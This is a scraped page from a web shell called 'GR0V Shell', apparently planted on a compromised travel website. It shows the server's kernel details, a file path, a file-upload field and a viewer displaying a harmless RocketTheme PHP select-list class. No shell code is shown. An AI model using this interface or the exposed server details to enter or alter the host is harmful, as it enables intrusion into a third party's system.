? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/libraries/rokcommon/RokCommon/HTML/
File Upload :
Current File : /home/admin/public_html/old/libraries/rokcommon/RokCommon/HTML/Select.php

<?php
/**
 * @version   $Id: Select.php 10831 2013-05-29 19:32:17Z btowles $
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2015 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */
defined('ROKCOMMON') or die;

/**
 *
 */
class RokCommon_HTML_Select implements RokCommon_HTML_ISelect
{
	/**
	 * @abstract
	 *
	 * @param string                         $name
	 * @param RokCommon_HTML_Select_Option[] $options
	 * @param array                          $attribs
	 *
	 * @return string the html rendered select list
	 */
	public function getList($name, array $options = array(), $attribs = array())
	{
		$html         = array();
		$attribs_html = array();
		foreach ($attribs as $attrib_name => $attrib_value) {
			$attribs_html[] = $attrib_name . '="' . $attrib_value . '"';
		}
		$attribs_html = implode(' ', $attribs_html);

		$html[] = '<select name="' . $name . '" ' . $attribs_html . '>';
		foreach ($options as $option) {
			$html[] = $option->getHTML();
		}
		$html[] = '</select>';
		return implode('', $html);
	}
}

T1KUS90T
  root-grov@210.1.60.28:~$